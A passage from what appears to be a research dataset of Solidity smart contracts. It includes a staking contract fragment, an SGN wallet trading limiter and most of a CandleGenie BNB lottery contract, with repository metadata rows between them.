function index() public view returns (uint) {
return IDb(sDb).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IDb(sDb).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IDb(sDb).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Db).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sDb).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sDb).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function resetEpochEndTime(uint32 _firstEpochTime) external onlyManager() {
epoch.endTime = _firstEpochTime;
}
function currentBlockTimestamp() external view returns (uint) {
return block.timestamp;
}
}
| 83,980 | 1,725 |
67600db7381c517cc0c1a79650c0fcfbe85bf9a28ad0ab60f958e6701e59df26
| 25,230 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0xd961a917bad1bb2c4ee8f054a81c77ae5ee558a0.sol
| 3,900 | 15,001 |
pragma solidity 0.4.25;
// File: contracts/wallet_trading_limiter/interfaces/IWalletsTradingLimiter.sol
interface IWalletsTradingLimiter {
function updateWallet(address _wallet, uint256 _value) external;
}
// File: contracts/wallet_trading_limiter/interfaces/IWalletsTradingDataSource.sol
interface IWalletsTradingDataSource {
function updateWallet(address _wallet, uint256 _value, uint256 _limit) external;
}
// File: contracts/wallet_trading_limiter/interfaces/IWalletsTradingLimiterValueConverter.sol
interface IWalletsTradingLimiterValueConverter {
function toLimiterValue(uint256 _sgaAmount) external view returns (uint256);
}
// File: contracts/wallet_trading_limiter/interfaces/ITradingClasses.sol
interface ITradingClasses {
function getInfo(uint256 _id) external view returns (uint256, uint256, uint256);
function getActionRole(uint256 _id) external view returns (uint256);
function getSellLimit(uint256 _id) external view returns (uint256);
function getBuyLimit(uint256 _id) external view returns (uint256);
}
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
interface IContractAddressLocator {
function getContractAddress(bytes32 _identifier) external view returns (address);
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGAAuthorizationManager_ = "ISGAAuthorizationManager";
bytes32 internal constant _ISGAToken_ = "ISGAToken" ;
bytes32 internal constant _ISGATokenManager_ = "ISGATokenManager" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGATokenManager_ = "BuyWalletsTLSGATokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGATokenManager_ = "SellWalletsTLSGATokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
IContractAddressLocator private contractAddressLocator;
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: contracts/authorization/interfaces/IAuthorizationDataSource.sol
interface IAuthorizationDataSource {
function getAuthorizedActionRole(address _wallet) external view returns (bool, uint256);
function getAuthorizedActionRoleAndClass(address _wallet) external view returns (bool, uint256, uint256);
function getTradeLimitsAndClass(address _wallet) external view returns (uint256, uint256, uint256);
function getBuyTradeLimitAndClass(address _wallet) external view returns (uint256, uint256);
function getSellTradeLimitAndClass(address _wallet) external view returns (uint256, uint256);
}
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity-v1.12.0/contracts/ownership/Claimable.sol
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/wallet_trading_limiter/WalletsTradingLimiterBase.sol
contract WalletsTradingLimiterBase is IWalletsTradingLimiter, ContractAddressLocatorHolder, Claimable {
string public constant VERSION = "1.1.0";
bytes32 public walletsTradingDataSourceIdentifier;
constructor(IContractAddressLocator _contractAddressLocator, bytes32 _walletsTradingDataSourceIdentifier) ContractAddressLocatorHolder(_contractAddressLocator) public {
walletsTradingDataSourceIdentifier = _walletsTradingDataSourceIdentifier;
}
function getAuthorizationDataSource() public view returns (IAuthorizationDataSource) {
return IAuthorizationDataSource(getContractAddress(_IAuthorizationDataSource_));
}
function getTradingClasses() public view returns (ITradingClasses) {
return ITradingClasses(getContractAddress(_ITradingClasses_));
}
function getWalletsTradingDataSource() public view returns (IWalletsTradingDataSource) {
return IWalletsTradingDataSource(getContractAddress(walletsTradingDataSourceIdentifier));
}
function getWalletsTradingLimiterValueConverter() public view returns (IWalletsTradingLimiterValueConverter) {
return IWalletsTradingLimiterValueConverter(getContractAddress(_IWalletsTradingLimiterValueConverter_));
}
function getUpdateWalletPermittedContractLocatorIdentifier() public pure returns (bytes32);
function getOverrideTradeLimitAndClass(address _wallet) public view returns (uint256, uint256);
function getTradeLimit(uint256 _tradeClassId) public view returns (uint256);
function getLimiterValue(uint256 _value) public view returns (uint256);
function updateWallet(address _wallet, uint256 _value) external only(getUpdateWalletPermittedContractLocatorIdentifier()) {
uint256 limiterValue = getLimiterValue(_value);
(uint256 overrideTradeLimit, uint256 tradeClassId) = getOverrideTradeLimitAndClass(_wallet);
uint256 tradeLimit = overrideTradeLimit > 0 ? overrideTradeLimit : getTradeLimit(tradeClassId);
getWalletsTradingDataSource().updateWallet(_wallet, limiterValue, tradeLimit);
}
}
// File: contracts/saga-genesis/interfaces/IMintManager.sol
interface IMintManager {
function getIndex() external view returns (uint256);
}
// File: contracts/saga-genesis/interfaces/ISGNConversionManager.sol
interface ISGNConversionManager {
function sgn2sga(uint256 _amount, uint256 _index) external view returns (uint256);
}
// File: openzeppelin-solidity/contracts/math/Math.sol
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: contracts/saga-genesis/SGNWalletsTradingLimiter.sol
contract SGNWalletsTradingLimiter is WalletsTradingLimiterBase {
string public constant VERSION = "1.1.0";
using SafeMath for uint256;
using Math for uint256;
uint256 public constant MAX_RESOLUTION = 0x10000000000000000;
uint256 public sequenceNum = 0;
uint256 public sgnMinimumLimiterValueN = 0;
uint256 public sgnMinimumLimiterValueD = 0;
event SGNMinimumLimiterValueSaved(uint256 _sgnMinimumLimiterValueN, uint256 _sgnMinimumLimiterValueD);
event SGNMinimumLimiterValueNotSaved(uint256 _sgnMinimumLimiterValueN, uint256 _sgnMinimumLimiterValueD);
constructor(IContractAddressLocator _contractAddressLocator) WalletsTradingLimiterBase(_contractAddressLocator, _BuyWalletsTradingDataSource_) public {}
function getSGNConversionManager() public view returns (ISGNConversionManager) {
return ISGNConversionManager(getContractAddress(_ISGNConversionManager_));
}
function getMintManager() public view returns (IMintManager) {
return IMintManager(getContractAddress(_IMintManager_));
}
function getLimiterValue(uint256 _value) public view returns (uint256){
uint256 sgnMinimumLimiterValue = calcSGNMinimumLimiterValue(_value);
uint256 sgnConversionValue = calcSGNConversionValue(_value);
return sgnConversionValue.max(sgnMinimumLimiterValue);
}
function getUpdateWalletPermittedContractLocatorIdentifier() public pure returns (bytes32){
return _ISGNTokenManager_;
}
function getOverrideTradeLimitAndClass(address _wallet) public view returns (uint256, uint256){
return getAuthorizationDataSource().getBuyTradeLimitAndClass(_wallet);
}
function getTradeLimit(uint256 _tradeClassId) public view returns (uint256){
return getTradingClasses().getBuyLimit(_tradeClassId);
}
function calcSGNMinimumLimiterValue(uint256 _sgnAmount) public view returns (uint256) {
assert(sgnMinimumLimiterValueN > 0 && sgnMinimumLimiterValueD > 0);
return _sgnAmount.mul(sgnMinimumLimiterValueN) / sgnMinimumLimiterValueD;
}
function setSGNMinimumLimiterValue(uint256 _sequenceNum, uint256 _sgnMinimumLimiterValueN, uint256 _sgnMinimumLimiterValueD) external onlyOwner {
require(1 <= _sgnMinimumLimiterValueN && _sgnMinimumLimiterValueN <= MAX_RESOLUTION, "SGN minimum limiter value numerator is out of range");
require(1 <= _sgnMinimumLimiterValueD && _sgnMinimumLimiterValueD <= MAX_RESOLUTION, "SGN minimum limiter value denominator is out of range");
if (sequenceNum < _sequenceNum) {
sequenceNum = _sequenceNum;
sgnMinimumLimiterValueN = _sgnMinimumLimiterValueN;
sgnMinimumLimiterValueD = _sgnMinimumLimiterValueD;
emit SGNMinimumLimiterValueSaved(_sgnMinimumLimiterValueN, _sgnMinimumLimiterValueD);
}
else {
emit SGNMinimumLimiterValueNotSaved(_sgnMinimumLimiterValueN, _sgnMinimumLimiterValueD);
}
}
function calcSGNConversionValue(uint256 _sgnAmount) private view returns (uint256) {
uint256 sgaAmount = getSGNConversionManager().sgn2sga(_sgnAmount, getMintManager().getIndex());
return getWalletsTradingLimiterValueConverter().toLimiterValue(sgaAmount);
}
}
| 339,487 | 1,726 |
7f85f928b71d0313f988580bca71db80b7b25385613262dd5174c9d1468fc274
| 26,748 |
.sol
|
Solidity
| false |
388150634
|
candlegenie/solidity
|
99c25153b82e4295145234049d0a967dcba26c18
|
CandleGenieLottery.sol
| 5,825 | 22,069 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
pragma abicoder v2;
// CONTEXT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OWNABLE
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Invalid owner address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// REETRANCUGUARD
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor()
{
_status = _NOT_ENTERED;
}
modifier nonReentrant()
{
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
// IRANDOMNUMBERGENERATOR
interface IRandomNumberGenerator {
function getRandomNumber(uint256 _seed) external;
function viewLatestLotteryId() external view returns (uint256);
function viewRandomResult() external view returns (uint32);
}
//INTERFACE
interface ICandleGenieLottery {
function buyTickets(uint256 _lotteryId, uint32[] calldata _ticketNumbers) external payable;
function claimTickets(uint256 _lotteryId,
uint256[] calldata _ticketIds,
uint32[] calldata _brackets) external;
function closeLottery(uint256 _lotteryId) external;
function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId, bool _autoInjection) external;
function injectFunds(uint256 _lotteryId) external payable;
function startLottery(uint256 _endTime,
uint256 _priceTicket,
uint256 _discountDivisor,
uint256[6] calldata _rewardsBreakdown,
uint256 _treasuryFee) external;
function viewCurrentLotteryId() external returns (uint256);
}
// CONTRACT
contract CandleGenieLottery is ReentrancyGuard, ICandleGenieLottery, Ownable {
address public operatorAddress;
address public treasuryAddress;
modifier notContract()
{
require(!_isContract(msg.sender), "Contracts not allowed");
require(msg.sender == tx.origin, "Proxy contracts not allowed");
_;
}
modifier onlyOperator()
{
require(msg.sender == operatorAddress, "Operators only !");
_;
}
IRandomNumberGenerator public randomGenerator;
enum Status
{
Pending,
Open,
Close,
Claimable
}
struct Ticket
{
uint32 number;
address owner;
}
struct Lottery {
Status status;
uint256 startTime;
uint256 endTime;
uint256 priceTicket;
uint256 discountDivisor;
uint256[6] rewardsBreakdown; // 0: 1 matching number // 5: 6 matching numbers
uint256 treasuryFee; // 500: 5% // 200: 2% // 50: 0.5%
uint256[6] bnbPerBracket;
uint256[6] countWinnersPerBracket;
uint256 firstTicketId;
uint256 firstTicketIdNextLottery;
uint256 amountCollected;
uint32 finalNumber;
}
mapping(uint256 => Lottery) private _lotteries;
mapping(uint256 => Ticket) private _tickets;
mapping(uint32 => uint32) private _bracketCalculator;
mapping(uint256 => mapping(uint32 => uint256)) private _numberTicketsPerLotteryId;
mapping(address => mapping(uint256 => uint256[])) private _userTicketIdsPerLotteryId;
uint256 public currentLotteryId;
uint256 public currentTicketId;
uint256 public maxNumberTicketsPerBuyOrClaim = 100;
uint256 public pendingInjectionNextLottery;
uint256 public constant MIN_DISCOUNT_DIVISOR = 300;
uint256 public constant MIN_LENGTH_LOTTERY = 60; // 1 Minutes
uint256 public constant MAX_LENGTH_LOTTERY = 346000; // 4 days
uint256 public constant MAX_TREASURY_FEE = 3000; // 30%
event AdminTokenRecovery(address token, uint256 amount);
event LotteryClose(uint256 indexed lotteryId, uint256 firstTicketIdNextLottery);
event LotteryInjection(address indexed sender,uint256 indexed lotteryId);
event LotteryOpen(uint256 indexed lotteryId,
uint256 startTime,
uint256 endTime,
uint256 priceTicket,
uint256 firstTicketId,
uint256 injectedAmount);
event LotteryNumberDrawn(uint256 indexed lotteryId, uint256 finalNumber, uint256 countWinningTickets);
event NewOperatorAndTreasuryAddresses(address operator, address treasury);
event NewRandomGenerator(address indexed randomGenerator);
event TicketsPurchase(address indexed buyer, uint256 indexed lotteryId, uint256 numberTickets);
event TicketsClaim(address indexed claimer, uint256 amount, uint256 indexed lotteryId, uint256 numberTickets);
constructor(address _randomGeneratorAddress)
{
randomGenerator = IRandomNumberGenerator(_randomGeneratorAddress);
// Initializes a mapping
_bracketCalculator[0] = 1;
_bracketCalculator[1] = 11;
_bracketCalculator[2] = 111;
_bracketCalculator[3] = 1111;
_bracketCalculator[4] = 11111;
_bracketCalculator[5] = 111111;
}
function _safeTransferTo(address to, uint256 value) internal
{
(bool success,) = to.call{gas: 23000, value: value}("");
require(success, "Transfer Failed");
}
function startLottery(uint256 _endTime,
uint256 _priceTicket,
uint256 _discountDivisor,
uint256[6] calldata _rewardsBreakdown,
uint256 _treasuryFee) external override onlyOperator {
require((currentLotteryId == 0) || (_lotteries[currentLotteryId].status == Status.Claimable),
"Not time to start lottery");
require(((_endTime - block.timestamp) > MIN_LENGTH_LOTTERY) && ((_endTime - block.timestamp) < MAX_LENGTH_LOTTERY),
"Lottery timestamp length outside of range");
currentLotteryId++;
require(_discountDivisor >= MIN_DISCOUNT_DIVISOR, "Discount divisor too low");
require(_treasuryFee <= MAX_TREASURY_FEE, "Treasury fee too high");
require((_rewardsBreakdown[0] +
_rewardsBreakdown[1] +
_rewardsBreakdown[2] +
_rewardsBreakdown[3] +
_rewardsBreakdown[4] +
_rewardsBreakdown[5]) == 10000,
"Rewards must equal 10000");
_lotteries[currentLotteryId] = Lottery({
status: Status.Open,
startTime: block.timestamp,
endTime: _endTime,
priceTicket: _priceTicket,
discountDivisor: _discountDivisor,
rewardsBreakdown: _rewardsBreakdown,
treasuryFee: _treasuryFee,
bnbPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
countWinnersPerBracket: [uint256(0), uint256(0), uint256(0), uint256(0), uint256(0), uint256(0)],
firstTicketId: currentTicketId,
firstTicketIdNextLottery: currentTicketId,
amountCollected: pendingInjectionNextLottery,
finalNumber: 0
});
emit LotteryOpen(currentLotteryId,
block.timestamp,
_endTime,
_priceTicket,
currentTicketId,
pendingInjectionNextLottery);
pendingInjectionNextLottery = 0;
}
function buyTickets(uint256 _lotteryId, uint32[] calldata _ticketNumbers)
external
override
payable
notContract
nonReentrant
{
require(_ticketNumbers.length != 0, "No ticket specified");
require(_ticketNumbers.length <= maxNumberTicketsPerBuyOrClaim, "Too many tickets");
require(_lotteries[_lotteryId].status == Status.Open, "Lottery is not open");
require(block.timestamp < _lotteries[_lotteryId].endTime, "Lottery is over");
uint256 amount = msg.value;
// Calculate total cost
uint256 totalTicketCost = _calculateTotalPriceForBulkTickets(_lotteries[_lotteryId].discountDivisor,
_lotteries[_lotteryId].priceTicket,
_ticketNumbers.length);
require(amount >= totalTicketCost, "Paid amount do not cover to purchase tickets");
// Increment the total amount collected for the lottery round
_lotteries[_lotteryId].amountCollected += amount;
for (uint256 i = 0; i < _ticketNumbers.length; i++) {
uint32 thisTicketNumber = _ticketNumbers[i];
require((thisTicketNumber >= 1000000) && (thisTicketNumber <= 1999999), "Outside range");
_numberTicketsPerLotteryId[_lotteryId][1 + (thisTicketNumber % 10)]++;
_numberTicketsPerLotteryId[_lotteryId][11 + (thisTicketNumber % 100)]++;
_numberTicketsPerLotteryId[_lotteryId][111 + (thisTicketNumber % 1000)]++;
_numberTicketsPerLotteryId[_lotteryId][1111 + (thisTicketNumber % 10000)]++;
_numberTicketsPerLotteryId[_lotteryId][11111 + (thisTicketNumber % 100000)]++;
_numberTicketsPerLotteryId[_lotteryId][111111 + (thisTicketNumber % 1000000)]++;
_userTicketIdsPerLotteryId[msg.sender][_lotteryId].push(currentTicketId);
_tickets[currentTicketId] = Ticket({number: thisTicketNumber, owner: msg.sender});
// Increase lottery ticket number
currentTicketId++;
}
emit TicketsPurchase(msg.sender, _lotteryId, _ticketNumbers.length);
}
function closeLottery(uint256 _lotteryId) external override onlyOperator nonReentrant {
require(_lotteries[_lotteryId].status == Status.Open, "Lottery not open");
require(block.timestamp > _lotteries[_lotteryId].endTime, "Lottery not over");
_lotteries[_lotteryId].firstTicketIdNextLottery = currentTicketId;
randomGenerator.getRandomNumber(uint256(keccak256(abi.encodePacked(_lotteryId, currentTicketId))));
_lotteries[_lotteryId].status = Status.Close;
emit LotteryClose(_lotteryId, currentTicketId);
}
function drawFinalNumberAndMakeLotteryClaimable(uint256 _lotteryId, bool _autoInjection)
external
override
onlyOperator
nonReentrant
{
require(_lotteries[_lotteryId].status == Status.Close, "Lottery not close");
require(_lotteryId == randomGenerator.viewLatestLotteryId(), "Numbers not drawn");
uint32 finalNumber = randomGenerator.viewRandomResult();
uint256 numberAddressesInPreviousBracket;
uint256 amountToShareToWinners = (((_lotteries[_lotteryId].amountCollected) * (10000 - _lotteries[_lotteryId].treasuryFee))) / 10000;
uint256 amountToWithdrawToTreasury;
// Calculate prizes in BNB for each bracket by starting from the highest one
for (uint32 i = 0; i < 6; i++)
{
uint32 j = 5 - i;
uint32 transformedWinningNumber = _bracketCalculator[j] + (finalNumber % (uint32(10)**(j + 1)));
_lotteries[_lotteryId].countWinnersPerBracket[j] = _numberTicketsPerLotteryId[_lotteryId][transformedWinningNumber] - numberAddressesInPreviousBracket;
// A. If number of users for this _bracket number is superior to 0
if ((_numberTicketsPerLotteryId[_lotteryId][transformedWinningNumber] - numberAddressesInPreviousBracket) != 0)
{
if (_lotteries[_lotteryId].rewardsBreakdown[j] != 0)
{
_lotteries[_lotteryId].bnbPerBracket[j] =
((_lotteries[_lotteryId].rewardsBreakdown[j] * amountToShareToWinners) /
(_numberTicketsPerLotteryId[_lotteryId][transformedWinningNumber] -
numberAddressesInPreviousBracket)) / 10000;
// Update numberAddressesInPreviousBracket
numberAddressesInPreviousBracket = _numberTicketsPerLotteryId[_lotteryId][transformedWinningNumber];
}
// A. No BNB to distribute, they are added to the amount to withdraw to treasury address
}
else
{
_lotteries[_lotteryId].bnbPerBracket[j] = 0;
amountToWithdrawToTreasury += (_lotteries[_lotteryId].rewardsBreakdown[j] * amountToShareToWinners) / 10000;
}
}
_lotteries[_lotteryId].finalNumber = finalNumber;
_lotteries[_lotteryId].status = Status.Claimable;
if (_autoInjection)
{
pendingInjectionNextLottery = amountToWithdrawToTreasury;
amountToWithdrawToTreasury = 0;
}
amountToWithdrawToTreasury += (_lotteries[_lotteryId].amountCollected - amountToShareToWinners);
_safeTransferTo(treasuryAddress, amountToWithdrawToTreasury);
emit LotteryNumberDrawn(currentLotteryId, finalNumber, numberAddressesInPreviousBracket);
}
function claimTickets(uint256 _lotteryId,
uint256[] calldata _ticketIds,
uint32[] calldata _brackets) external override notContract nonReentrant {
require(_ticketIds.length == _brackets.length, "Not same length");
require(_ticketIds.length != 0, "Length must be >0");
require(_ticketIds.length <= maxNumberTicketsPerBuyOrClaim, "Too many tickets");
require(_lotteries[_lotteryId].status == Status.Claimable, "Lottery not claimable");
// Initializes the rewardInBNBToTransfer
uint256 rewardInBNBToTransfer;
for (uint256 i = 0; i < _ticketIds.length; i++) {
uint256 thisTicketId = _ticketIds[i];
require(msg.sender == _tickets[thisTicketId].owner, "Not the owner");
require(_brackets[i] < 6, "Bracket out of range"); // Must be between 0 and 5
require(_lotteries[_lotteryId].firstTicketIdNextLottery > thisTicketId, "TicketId too high");
require(_lotteries[_lotteryId].firstTicketId <= thisTicketId, "TicketId too low");
// Update the lottery ticket owner to 0x address
_tickets[thisTicketId].owner = address(0);
uint256 rewardForTicketId = _calculateRewardsForTicketId(_lotteryId, thisTicketId, _brackets[i]);
// Check user is claiming the correct bracket
require(rewardForTicketId != 0, "No prize for this bracket");
if (_brackets[i] != 5) {
require(_calculateRewardsForTicketId(_lotteryId, thisTicketId, _brackets[i] + 1) == 0,
"Bracket must be higher");
}
// Increment the reward to transfer
rewardInBNBToTransfer += rewardForTicketId;
}
// Transfer money to msg.sender
_safeTransferTo(msg.sender, rewardInBNBToTransfer);
emit TicketsClaim(msg.sender, rewardInBNBToTransfer, _lotteryId, _ticketIds.length);
}
function changeRandomGenerator(address _randomGeneratorAddress) external onlyOwner {
require(_lotteries[currentLotteryId].status == Status.Claimable, "Lottery not in claimable");
// Request a random number from the generator based on a seed
IRandomNumberGenerator(_randomGeneratorAddress).getRandomNumber(uint256(keccak256(abi.encodePacked(currentLotteryId, currentTicketId))));
// Calculate the finalNumber based on the randomResult generated by ChainLink's fallback
IRandomNumberGenerator(_randomGeneratorAddress).viewRandomResult();
randomGenerator = IRandomNumberGenerator(_randomGeneratorAddress);
emit NewRandomGenerator(_randomGeneratorAddress);
}
function injectFunds(uint256 _lotteryId) external override payable onlyOwner {
require(_lotteries[_lotteryId].status == Status.Open, "Lottery not open");
// Update round data
uint256 amount = msg.value;
_lotteries[_lotteryId].amountCollected += amount;
emit LotteryInjection(msg.sender,_lotteryId);
}
function setMaxNumberTicketsPerBuy(uint256 _maxNumberTicketsPerBuy) external onlyOwner {
require(_maxNumberTicketsPerBuy != 0, "Must be > 0");
maxNumberTicketsPerBuyOrClaim = _maxNumberTicketsPerBuy;
}
function setOperatorAndTreasuryAddresses(address _operatorAddress, address _treasuryAddress) external onlyOwner {
require(_operatorAddress != address(0), "Cannot be zero address");
require(_treasuryAddress != address(0), "Cannot be zero address");
operatorAddress = _operatorAddress;
treasuryAddress = _treasuryAddress;
emit NewOperatorAndTreasuryAddresses(_operatorAddress, _treasuryAddress);
}
function calculateTotalPriceForBulkTickets(uint256 _discountDivisor,
uint256 _priceTicket,
uint256 _numberTickets) external pure returns (uint256) {
require(_discountDivisor >= MIN_DISCOUNT_DIVISOR, "Must be >= MIN_DISCOUNT_DIVISOR");
require(_numberTickets != 0, "Number of tickets must be > 0");
return _calculateTotalPriceForBulkTickets(_discountDivisor, _priceTicket, _numberTickets);
}
function viewCurrentLotteryId() external view override returns (uint256) {
return currentLotteryId;
}
function viewLottery(uint256 _lotteryId) external view returns (Lottery memory) {
return _lotteries[_lotteryId];
}
function viewNumbersAndStatusesForTicketIds(uint256[] calldata _ticketIds)
external
view
returns (uint32[] memory, bool[] memory)
{
uint256 length = _ticketIds.length;
uint32[] memory ticketNumbers = new uint32[](length);
bool[] memory ticketStatuses = new bool[](length);
for (uint256 i = 0; i < length; i++) {
ticketNumbers[i] = _tickets[_ticketIds[i]].number;
if (_tickets[_ticketIds[i]].owner == address(0)) {
ticketStatuses[i] = true;
} else {
ticketStatuses[i] = false;
}
}
return (ticketNumbers, ticketStatuses);
}
function viewRewardsForTicketId(uint256 _lotteryId,
uint256 _ticketId,
uint32 _bracket) external view returns (uint256) {
// Check lottery is in claimable status
if (_lotteries[_lotteryId].status != Status.Claimable) {
return 0;
}
// Check ticketId is within range
if ((_lotteries[_lotteryId].firstTicketIdNextLottery < _ticketId) &&
(_lotteries[_lotteryId].firstTicketId >= _ticketId)) {
return 0;
}
return _calculateRewardsForTicketId(_lotteryId, _ticketId, _bracket);
}
function viewUserTicketNumbersAndStatusesForLottery(address _user,
uint256 _lotteryId,
uint256 _cursor,
uint256 _size)
external
view
returns (uint256[] memory,
uint32[] memory,
bool[] memory,
uint256)
{
uint256 length = _size;
